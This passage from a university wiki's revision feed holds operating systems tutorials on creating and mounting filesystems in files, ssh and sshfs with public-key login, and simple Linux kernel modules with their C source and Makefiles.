zip:&lt;br /&gt;
        rm -f $(MODNAME).zip&lt;br /&gt;
        mkdir $(MODNAME)&lt;br /&gt;
        cp -a Makefile $(MODNAME).c $(MODNAME)&lt;br /&gt;
        zip -r $(MODNAME).zip $(MODNAME)&lt;br /&gt;
        rm -rf $(MODNAME)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_6&amp;diff=21911</id>
		<title>Operating Systems 2018F: Tutorial 6</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_6&amp;diff=21911"/>
		<updated>2018-10-28T19:42:09Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Creating, Mounting, and Unmounting Filesystem */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In this tutorial you will be playing with filesystems (regular filesystems and sshfs).  Please use a VM and make backups, as some of these commands could erase all data on your system.&lt;br /&gt;
&lt;br /&gt;
==Creating, Mounting, and Unmounting Filesystem==&lt;br /&gt;
&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;ls -lai&amp;lt;/tt&amp;gt; (by itself or for a specific directory).  What are the numbers appearing in the left column?&lt;br /&gt;
# Run dd if=/dev/zero of=foo bs=8192 count=32K   What is the logical size of the file?  How much space does it consume on disk? (Hint: Look at the size option to ls.)&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;mkfs.ext4 foo&amp;lt;/tt&amp;gt;.  (If asked, say &amp;quot;yes&amp;quot; to operating on a regular file.)  Does foo consume any more space?&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;dumpe2fs foo&amp;lt;/tt&amp;gt;.  What does the output of this command mean?&lt;br /&gt;
# What command do you run to check the filesystem in foo for errors?&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;sudo mount foo /mnt&amp;lt;/tt&amp;gt;.  How does this command change what files are accessible?&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;df&amp;lt;/tt&amp;gt;.  What device is mounted on /mnt?  What is this device?&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;rsync -a -v /etc /mnt&amp;lt;/tt&amp;gt;.  What does this command do?  Explain the arguments as well.&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;sudo umount /mnt&amp;lt;/tt&amp;gt;.  What files can you still access, and what have gone away?&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;dd if=/dev/zero of=foo conv=notrunc count=10 bs=512&amp;lt;/tt&amp;gt;.  How does the &amp;quot;conv=notrunc&amp;quot; change dd&#039;s behavior (versus the command in question 1)?&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;sudo mount foo /mnt&amp;lt;/tt&amp;gt;.  What error do you get?&lt;br /&gt;
# What command can you run to make foo mountable again?  What characteristic of the file system enables this command to work?&lt;br /&gt;
# Run the command &amp;lt;tt&amp;gt;truncate -s 1G bar&amp;lt;/tt&amp;gt;.  What is the logical size of bar, and how much space does it consume on disk?  How does this compare with foo?&lt;br /&gt;
# How does the logical size of bar change when you create an ext4 filesystem in it?  What about the space consumed on disk?&lt;br /&gt;
&lt;br /&gt;
==SSH &amp;amp; SSHFS==&lt;br /&gt;
&lt;br /&gt;
Here you will be learning about [http://www.openssh.org ssh (openssh)] and [https://github.com/libfuse/sshfs sshfs], a network filesystem built on [https://github.com/libfuse/libfuse FUSE].&lt;br /&gt;
&lt;br /&gt;
===Setup===&lt;br /&gt;
&lt;br /&gt;
Install the openssh-server and sshfs packages:&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get install openssh-server sshfs&lt;br /&gt;
&lt;br /&gt;
Create a second user in the virtual machine named &amp;quot;other&amp;quot; (or any other name you wish to use):&lt;br /&gt;
&lt;br /&gt;
 sudo adduser other&lt;br /&gt;
&lt;br /&gt;
(Answer the subsequent prompts however you wish, just remember the password.)&lt;br /&gt;
&lt;br /&gt;
At this point you should be able to log in to the &amp;quot;other&amp;quot; account using ssh:&lt;br /&gt;
&lt;br /&gt;
 ssh other@localhost&lt;br /&gt;
&lt;br /&gt;
You&#039;ll have to enter your password.&lt;br /&gt;
&lt;br /&gt;
If you don&#039;t get a password prompt, password authentication has probably been disabled.  (Password authentication has been disabled on the openstack VMs.)  To enable it, do the following&lt;br /&gt;
&lt;br /&gt;
  sudo nano /etc/ssh/sshd_config    (or vi, or emacs)&lt;br /&gt;
&lt;br /&gt;
In the editor change the line &amp;quot;PasswordAuthentication no&amp;quot; to &amp;quot;PasswordAuthentication yes&amp;quot;.  Then, to restart sshd:&lt;br /&gt;
&lt;br /&gt;
  sudo service sshd restart&lt;br /&gt;
&lt;br /&gt;
Be sure to change it back after you&#039;ve set up public key authentication!&lt;br /&gt;
&lt;br /&gt;
===Remote filesystems using sshfs===&lt;br /&gt;
&lt;br /&gt;
To mount the other user&#039;s files in a directory called &amp;quot;otherfiles&amp;quot;, do the following (as user student, ubuntu, or  your personal account):&lt;br /&gt;
&lt;br /&gt;
 mkdir otherfiles&lt;br /&gt;
 sshfs other@localhost: otherfiles&lt;br /&gt;
&lt;br /&gt;
To unmount the filesystem:&lt;br /&gt;
&lt;br /&gt;
 fusermount -u otherfiles&lt;br /&gt;
&lt;br /&gt;
===Public key authentication and ssh===&lt;br /&gt;
&lt;br /&gt;
Create a public key file for your account (as user student, ubuntu, or your personal account):&lt;br /&gt;
&lt;br /&gt;
 ssh-keygen&lt;br /&gt;
&lt;br /&gt;
(Accept the default filename and choose at least a simple passphrase.)&lt;br /&gt;
&lt;br /&gt;
You just created a certificate!  (A certificate is just a public key with metadata.)&lt;br /&gt;
&lt;br /&gt;
Copy the key to the other account:&lt;br /&gt;
&lt;br /&gt;
 cat ~/.ssh/id_rsa.pub &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
 scp authorized_keys other@localhost:.&lt;br /&gt;
 rm authorized_keys&lt;br /&gt;
 ssh other@localhost&lt;br /&gt;
&lt;br /&gt;
 (as user other)&lt;br /&gt;
 mkdir ~/.ssh (if it doesn&#039;t exist already)&lt;br /&gt;
 chmod 700 ~/.ssh  (make it private)&lt;br /&gt;
 mv ~/authorized_keys ~/.ssh&lt;br /&gt;
 chmod 600 ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Now you can log in to user other by typing in the passphrase you used to lock the key you generated.&lt;br /&gt;
&lt;br /&gt;
To avoid entering this passphrase every time, you can give it to the authentication agent (generally, ssh-agent) that was started when you logged in:&lt;br /&gt;
&lt;br /&gt;
  ssh-add&lt;br /&gt;
&lt;br /&gt;
Note I expect the above to be a bit confusing.  Do look around for resources on public key cryptography; however, you may find that playing around with ssh authentication may help you understand things better.  In particular, try using &amp;quot;-v&amp;quot; (verbose) with ssh.&lt;br /&gt;
&lt;br /&gt;
===Tasks===&lt;br /&gt;
&lt;br /&gt;
# Look at the hard link counts of files locally and compare those to the link counts over sshfs.  How do they compare?&lt;br /&gt;
# Can you access sshfs mounted files as root?  (You can become root by typing &amp;quot;sudo su -&amp;quot;.)  What happens?&lt;br /&gt;
# Look at inode numbers in local and remote filesystems (as reported by ls -i).  How do they compare?&lt;br /&gt;
# dd a large file to a local drive.  Do same thing over sshfs.  Which is faster? (What is a large file in this context?)&lt;br /&gt;
# Can you sshfs to the SCS systems (e.g., access.scs.carleton.ca)?&lt;br /&gt;
# Setup password-less login to the SCS system (and then undo it).&lt;br /&gt;
# How can you use the mount command to unmount a sshfs-mounted filesystem (rather than fusermount)?&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_5&amp;diff=21857</id>
		<title>Operating Systems 2018F: Tutorial 5</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_5&amp;diff=21857"/>
		<updated>2018-10-15T14:34:55Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* A simple kernel module */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In this tutorial you will be building and installing kernel modules.  You will need root access to install kernel modules.&lt;br /&gt;
&lt;br /&gt;
It is &#039;&#039;&#039;highly recommended&#039;&#039;&#039; that you use a comp3000 openstack instance for the exercises below for two reasons.  First, you may have difficulties compiling kernel modules on other systems.  Second, these operations are potentially dangerous and mistakes could &#039;&#039;&#039;destroy all data&#039;&#039;&#039; on the Linux system.  Consider yourself warned!&lt;br /&gt;
&lt;br /&gt;
See [[Operating Systems 2018F Lecture 8|Lecture 8]] for a walkthrough of setting up an openstack instance.  Key steps:&lt;br /&gt;
* Login at [https://openstack.scs.carleton.ca openstack.scs.carleton.ca] (you need to be connected to the Carleton network, either directly or via VPN).&lt;br /&gt;
* If you can&#039;t log in, change your SCS password (this updates your openstack credentials).&lt;br /&gt;
* Create an instance, making sure to assign it a globally routable visible IP address (rather than a private 192.168.X.X address).&lt;br /&gt;
* Connect to your instance via ssh or x2go.&lt;br /&gt;
&lt;br /&gt;
This is the first tutorial where you are seeing kernel code.  By the end of tutorial you should be able to run all of the code here and be able to make trivial modifications.  Lectures later this week will go through this code in detail.  Learning as much as you can about the code now will help you prepare for the upcoming lectures.  In particular, try to figure out what is different about this code.&lt;br /&gt;
&lt;br /&gt;
To answer the questions on newgetpid.c, you&#039;ll need to refer to the [https://elixir.bootlin.com/linux/latest/source Linux kernel source], particularly [https://elixir.bootlin.com/linux/latest/source/kernel/sys.c kernel/sys.c].  (These are links to a cross-referenced version of the Linux kernel source, a key resource for understanding and developing kernel code.)&lt;br /&gt;
&lt;br /&gt;
=Tasks=&lt;br /&gt;
&lt;br /&gt;
==A simple kernel module==&lt;br /&gt;
&lt;br /&gt;
# Download the source for [http://homeostasis.scs.carleton.ca/~soma/os-2015f/code/simple.zip this simple module], unpack, and build it by typing &amp;quot;make&amp;quot;. Use &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt; to download the zip file.&lt;br /&gt;
# Install the module using &amp;quot;sudo insmod simple.ko&amp;quot;.  The hello message is recorded in the kernel logs.  How do you view the kernel logs?&lt;br /&gt;
# Check to see that the module has been loaded.  How do you do this?&lt;br /&gt;
# Remove the module from the kernel.  What did you do?&lt;br /&gt;
&lt;br /&gt;
==A character device kernel module==&lt;br /&gt;
&lt;br /&gt;
# Download the source for [http://homeostasis.scs.carleton.ca/~soma/os-2015f/code/ones.zip ones], a kernel module implementing a character device that ouputs an unbounded string of &amp;quot;1&amp;quot;&#039;s.  Build, compile, and run it as before.&lt;br /&gt;
# What kernel messages does the module generate?  Does it create any new files (other than /dev/ones)?  If so, where?&lt;br /&gt;
# What happens when you &amp;quot;cat&amp;quot; the device /dev/ones?  How can you limit the output?&lt;br /&gt;
# How can you modify your module to generate a kernel &amp;quot;Oops&amp;quot; as reported in the kernel logs or outright crash the kernel?&lt;br /&gt;
&lt;br /&gt;
==Listing processes from a module==&lt;br /&gt;
&lt;br /&gt;
# Download the source [http://homeostasis.scs.carleton.ca/~soma/os-2017f/code/lec16/newgetpid.zip newgetpid.c].  Build and run it as before.&lt;br /&gt;
# What type is &amp;quot;current&amp;quot;?  How can you figure this out?&lt;br /&gt;
# Modify newgetpid.c so that it creates a device file /dev/describe rather than /dev/newgetpid.&lt;br /&gt;
# Make /dev/describe output the calling process&#039;s parent ID (ppid), user ID (uid), group ID (gid), effective user ID (euid), and effective group ID (egid).&lt;br /&gt;
# &#039;&#039;&#039;(Advanced)&#039;&#039;&#039; Modify /dev/describe so that if you write a process ID to it, it will output the information on the provided process.  To make this work, you&#039;ll need to:&lt;br /&gt;
#* Add a write method by adding a write operation to the file operations struct. Write operations have the same prototype as read operations, except the buffer is marked constant (because it shouldn&#039;t be modified).&lt;br /&gt;
#* Convert the written text to an integer and store in a global variable (to the module).&lt;br /&gt;
#* Find the right task struct.  See the implementation of the [http://elixir.free-electrons.com/linux/v4.4.83/source/kernel/signal.c#L2855 kill system call], and how it [http://elixir.free-electrons.com/linux/v4.4.83/source/kernel/signal.c#L1388 looks up the pid struct] and then [http://elixir.free-electrons.com/linux/v4.4.83/source/kernel/signal.c#L1303 gets the right task struct using that pid struct].&lt;br /&gt;
#* After returning info on the selected process, further calls should return info on the current process.  You can do this by setting the global process ID to 0 and checking this value, using the current task if it is zero.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Code=&lt;br /&gt;
&lt;br /&gt;
==Simple module==&lt;br /&gt;
&lt;br /&gt;
===simple.c===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/module.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/init.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/kernel.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
static int __init simple_init(void)&lt;br /&gt;
{&lt;br /&gt;
        printk (&amp;quot;Hello kernel world!\n&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void __exit simple_exit(void)&lt;br /&gt;
{&lt;br /&gt;
        printk (&amp;quot;Goodbye kernel world.\n&amp;quot;);&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
module_init(simple_init);&lt;br /&gt;
module_exit(simple_exit);&lt;br /&gt;
&lt;br /&gt;
MODULE_LICENSE(&amp;quot;GPL&amp;quot;);&lt;br /&gt;
MODULE_AUTHOR(&amp;quot;Anil Somayaji &amp;lt;soma@scs.carleton.ca&amp;gt;&amp;quot;);&lt;br /&gt;
MODULE_DESCRIPTION(&amp;quot;A simple module&amp;quot;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Makefile===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;make&amp;quot;&amp;gt;&lt;br /&gt;
obj-m := simple.o&lt;br /&gt;
KDIR := /lib/modules/$(shell uname -r)/build&lt;br /&gt;
PWD := $(shell pwd)&lt;br /&gt;
default:&lt;br /&gt;
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Ones module==&lt;br /&gt;
&lt;br /&gt;
===ones.c===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
/* Code derived from:&lt;br /&gt;
  https://appusajeev.wordpress.com/2011/06/18/writing-a-linux-character-device-driver/&lt;br /&gt;
  and&lt;br /&gt;
  http://pete.akeo.ie/2011/08/writing-linux-device-driver-for-kernels.html&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;linux/module.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/fs.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/device.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/init.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/kernel.h&amp;gt;&lt;br /&gt;
#include &amp;lt;asm/uaccess.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define dbg(format, arg...) do { if (debug) pr_info(CLASS_NAME &amp;quot;: %s: &amp;quot; format, __FUNCTION__, ## arg); } while (0)&lt;br /&gt;
#define err(format, arg...) pr_err(CLASS_NAME &amp;quot;: &amp;quot; format, ## arg)&lt;br /&gt;
#define info(format, arg...) pr_info(CLASS_NAME &amp;quot;: &amp;quot; format, ## arg)&lt;br /&gt;
#define warn(format, arg...) pr_warn(CLASS_NAME &amp;quot;: &amp;quot; format, ## arg)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#define DEVICE_NAME &amp;quot;ones&amp;quot;&lt;br /&gt;
#define CLASS_NAME &amp;quot;comp3000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
static struct class* ones_class = NULL;&lt;br /&gt;
static struct device* ones_device = NULL;&lt;br /&gt;
static int ones_major;&lt;br /&gt;
&lt;br /&gt;
static int ones_open(struct inode *the_inode, struct file *f)&lt;br /&gt;
{&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static ssize_t ones_read(struct file *f, char *buf, size_t len, loff_t *offset)&lt;br /&gt;
{&lt;br /&gt;
        size_t i;&lt;br /&gt;
&lt;br /&gt;
        for (i = 0; i &amp;lt; len; i++) {&lt;br /&gt;
                put_user(&#039;1&#039;, buf++);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int ones_release(struct inode *the_inode, struct file *f)&lt;br /&gt;
{&lt;br /&gt;
        printk(KERN_ALERT &amp;quot;Ones device closed\n&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static struct file_operations ones_fops = {&lt;br /&gt;
        .open = ones_open,&lt;br /&gt;
        .read = ones_read,&lt;br /&gt;
        .release = ones_release,&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static char *ones_devnode(struct device *dev, umode_t *mode)&lt;br /&gt;
{&lt;br /&gt;
        if (mode)&lt;br /&gt;
	        *mode = 0444;&lt;br /&gt;
        return NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int __init ones_init(void)&lt;br /&gt;
{&lt;br /&gt;
        int retval;&lt;br /&gt;
  &lt;br /&gt;
        ones_major = register_chrdev(0, DEVICE_NAME, &amp;amp;ones_fops);&lt;br /&gt;
        if (ones_major &amp;lt; 0) {&lt;br /&gt;
                err(&amp;quot;failed to register device: error %d\n&amp;quot;, ones_major);&lt;br /&gt;
                retval = ones_major;&lt;br /&gt;
                goto failed_chrdevreg;&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        ones_class = class_create(THIS_MODULE, CLASS_NAME);&lt;br /&gt;
        if (IS_ERR(ones_class)) {&lt;br /&gt;
                err(&amp;quot;failed to register device class &#039;%s&#039;\n&amp;quot;, CLASS_NAME);&lt;br /&gt;
                retval = PTR_ERR(ones_class);&lt;br /&gt;
                goto failed_classreg;&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
	ones_class-&amp;gt;devnode = ones_devnode;&lt;br /&gt;
&lt;br /&gt;
        ones_device = device_create(ones_class, NULL, MKDEV(ones_major, 0),&lt;br /&gt;
                                    NULL, DEVICE_NAME);&lt;br /&gt;
&lt;br /&gt;
        if (IS_ERR(ones_device)) {&lt;br /&gt;
                err(&amp;quot;failed to create device &#039;%s&#039;\n&amp;quot;, DEVICE_NAME);&lt;br /&gt;
                retval = PTR_ERR(ones_device);&lt;br /&gt;
                goto failed_devreg;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        info(&amp;quot;Ones device registered using major %d.\n&amp;quot;, ones_major);&lt;br /&gt;
        &lt;br /&gt;
        return 0;&lt;br /&gt;
        &lt;br /&gt;
 failed_devreg:&lt;br /&gt;
        class_unregister(ones_class);&lt;br /&gt;
        class_destroy(ones_class);&lt;br /&gt;
 failed_classreg:&lt;br /&gt;
        unregister_chrdev(ones_major, DEVICE_NAME);&lt;br /&gt;
 failed_chrdevreg:&lt;br /&gt;
        return -1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void __exit ones_exit(void)&lt;br /&gt;
{&lt;br /&gt;
        device_destroy(ones_class, MKDEV(ones_major, 0));&lt;br /&gt;
        class_unregister(ones_class);&lt;br /&gt;
        class_destroy(ones_class);&lt;br /&gt;
        unregister_chrdev(ones_major, &amp;quot;ones&amp;quot;);&lt;br /&gt;
        info(&amp;quot;Unloading Ones module.\n&amp;quot;);&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
module_init(ones_init);&lt;br /&gt;
module_exit(ones_exit);&lt;br /&gt;
&lt;br /&gt;
MODULE_LICENSE(&amp;quot;GPL&amp;quot;);&lt;br /&gt;
MODULE_AUTHOR(&amp;quot;Anil Somayaji &amp;lt;soma@scs.carleton.ca&amp;gt;&amp;quot;);&lt;br /&gt;
MODULE_DESCRIPTION(&amp;quot;A write ones character device module&amp;quot;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Makefile===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;make&amp;quot;&amp;gt;&lt;br /&gt;
obj-m := ones.o&lt;br /&gt;
KDIR := /lib/modules/$(shell uname -r)/build&lt;br /&gt;
PWD := $(shell pwd)&lt;br /&gt;
default:&lt;br /&gt;
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==newgetpid module==&lt;br /&gt;
&lt;br /&gt;
===newgetpid.c===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;C&amp;quot; line&amp;gt;&lt;br /&gt;
/* Code derived from:&lt;br /&gt;
  https://appusajeev.wordpress.com/2011/06/18/writing-a-linux-character-device-driver/&lt;br /&gt;
  and&lt;br /&gt;
  http://pete.akeo.ie/2011/08/writing-linux-device-driver-for-kernels.html&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;linux/module.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/fs.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/device.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/init.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/kernel.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/sched.h&amp;gt;&lt;br /&gt;
#include &amp;lt;asm/uaccess.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define dbg(format, arg...) do { if (debug) pr_info(CLASS_NAME &amp;quot;: %s: &amp;quot; format, __FUNCTION__, ## arg); } while (0)&lt;br /&gt;
#define err(format, arg...) pr_err(CLASS_NAME &amp;quot;: &amp;quot; format, ## arg)&lt;br /&gt;
#define info(format, arg...) pr_info(CLASS_NAME &amp;quot;: &amp;quot; format, ## arg)&lt;br /&gt;
#define warn(format, arg...) pr_warn(CLASS_NAME &amp;quot;: &amp;quot; format, ## arg)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#define DEVICE_NAME &amp;quot;newgetpid&amp;quot;&lt;br /&gt;
#define CLASS_NAME &amp;quot;comp3000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
static struct class* newgetpid_class = NULL;&lt;br /&gt;
static struct device* newgetpid_device = NULL;&lt;br /&gt;
static int newgetpid_major;&lt;br /&gt;
&lt;br /&gt;
static int newgetpid_open(struct inode *the_inode, struct file *f)&lt;br /&gt;
{&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static ssize_t newgetpid_read(struct file *f, char *buf, size_t len, loff_t *offset)&lt;br /&gt;
{&lt;br /&gt;
        size_t i, msglen;&lt;br /&gt;
        pid_t thepid;&lt;br /&gt;
&lt;br /&gt;
        char message[100];&lt;br /&gt;
        &lt;br /&gt;
        if (*offset &amp;gt; 0) {&lt;br /&gt;
                return 0;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        thepid = task_tgid_vnr(current);&lt;br /&gt;
&lt;br /&gt;
        snprintf(message, 100, &amp;quot;Your PID is %d!\n&amp;quot;, thepid);&lt;br /&gt;
        &lt;br /&gt;
        msglen = strlen(message);&lt;br /&gt;
&lt;br /&gt;
        if (len &amp;lt; msglen) {&lt;br /&gt;
                msglen = len;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        for (i = 0; i &amp;lt; msglen; i++) {&lt;br /&gt;
                put_user(message[i], buf++);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        *offset = i;&lt;br /&gt;
&lt;br /&gt;
        return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int newgetpid_release(struct inode *the_inode, struct file *f)&lt;br /&gt;
{&lt;br /&gt;
        printk(KERN_ALERT &amp;quot;Newgetpid device closed\n&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static struct file_operations newgetpid_fops = {&lt;br /&gt;
        .open = newgetpid_open,&lt;br /&gt;
        .read = newgetpid_read,&lt;br /&gt;
        .release = newgetpid_release,&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static char *newgetpid_devnode(struct device *dev, umode_t *mode)&lt;br /&gt;
{&lt;br /&gt;
        if (mode)&lt;br /&gt;
	        *mode = 0444;&lt;br /&gt;
        return NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int __init newgetpid_init(void)&lt;br /&gt;
{&lt;br /&gt;
        int retval;&lt;br /&gt;
  &lt;br /&gt;
        newgetpid_major = register_chrdev(0, DEVICE_NAME, &amp;amp;newgetpid_fops);&lt;br /&gt;
        if (newgetpid_major &amp;lt; 0) {&lt;br /&gt;
                err(&amp;quot;failed to register device: error %d\n&amp;quot;, newgetpid_major);&lt;br /&gt;
                retval = newgetpid_major;&lt;br /&gt;
                goto failed_chrdevreg;&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        newgetpid_class = class_create(THIS_MODULE, CLASS_NAME);&lt;br /&gt;
        if (IS_ERR(newgetpid_class)) {&lt;br /&gt;
                err(&amp;quot;failed to register device class &#039;%s&#039;\n&amp;quot;, CLASS_NAME);&lt;br /&gt;
                retval = PTR_ERR(newgetpid_class);&lt;br /&gt;
                goto failed_classreg;&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
	newgetpid_class-&amp;gt;devnode = newgetpid_devnode;&lt;br /&gt;
&lt;br /&gt;
        newgetpid_device = device_create(newgetpid_class, NULL, MKDEV(newgetpid_major, 0),&lt;br /&gt;
                                    NULL, DEVICE_NAME);&lt;br /&gt;
&lt;br /&gt;
        if (IS_ERR(newgetpid_device)) {&lt;br /&gt;
                err(&amp;quot;failed to create device &#039;%s&#039;\n&amp;quot;, DEVICE_NAME);&lt;br /&gt;
                retval = PTR_ERR(newgetpid_device);&lt;br /&gt;
                goto failed_devreg;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        info(&amp;quot;Newgetpid device registered using major %d.\n&amp;quot;, newgetpid_major);&lt;br /&gt;
        &lt;br /&gt;
        return 0;&lt;br /&gt;
        &lt;br /&gt;
 failed_devreg:&lt;br /&gt;
        class_unregister(newgetpid_class);&lt;br /&gt;
        class_destroy(newgetpid_class);&lt;br /&gt;
 failed_classreg:&lt;br /&gt;
        unregister_chrdev(newgetpid_major, DEVICE_NAME);&lt;br /&gt;
 failed_chrdevreg:&lt;br /&gt;
        return -1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void __exit newgetpid_exit(void)&lt;br /&gt;
{&lt;br /&gt;
        device_destroy(newgetpid_class, MKDEV(newgetpid_major, 0));&lt;br /&gt;
        class_unregister(newgetpid_class);&lt;br /&gt;
        class_destroy(newgetpid_class);&lt;br /&gt;
        unregister_chrdev(newgetpid_major, &amp;quot;newgetpid&amp;quot;);&lt;br /&gt;
        info(&amp;quot;Unloading Newgetpid module.\n&amp;quot;);&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
module_init(newgetpid_init);&lt;br /&gt;
module_exit(newgetpid_exit);&lt;br /&gt;
&lt;br /&gt;
MODULE_LICENSE(&amp;quot;GPL&amp;quot;);&lt;br /&gt;
MODULE_AUTHOR(&amp;quot;Anil Somayaji &amp;lt;soma@scs.carleton.ca&amp;gt;&amp;quot;);&lt;br /&gt;
MODULE_DESCRIPTION(&amp;quot;A write newgetpid character device module&amp;quot;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Makefile===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=make line&amp;gt;&lt;br /&gt;
obj-m := newgetpid.o&lt;br /&gt;
KDIR := /lib/modules/$(shell uname -r)/build&lt;br /&gt;
PWD := $(shell pwd)&lt;br /&gt;
default:&lt;br /&gt;
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Assignment_2&amp;diff=21829</id>
		<title>Operating Systems 2018F: Assignment 2</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Assignment_2&amp;diff=21829"/>
		<updated>2018-10-05T19:27:50Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Questions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Please submit the answers to the following questions via CULearn by 2:30 PM on Wednesday, October 10, 2018. There are 20 points in 10 questions.&lt;br /&gt;
&lt;br /&gt;
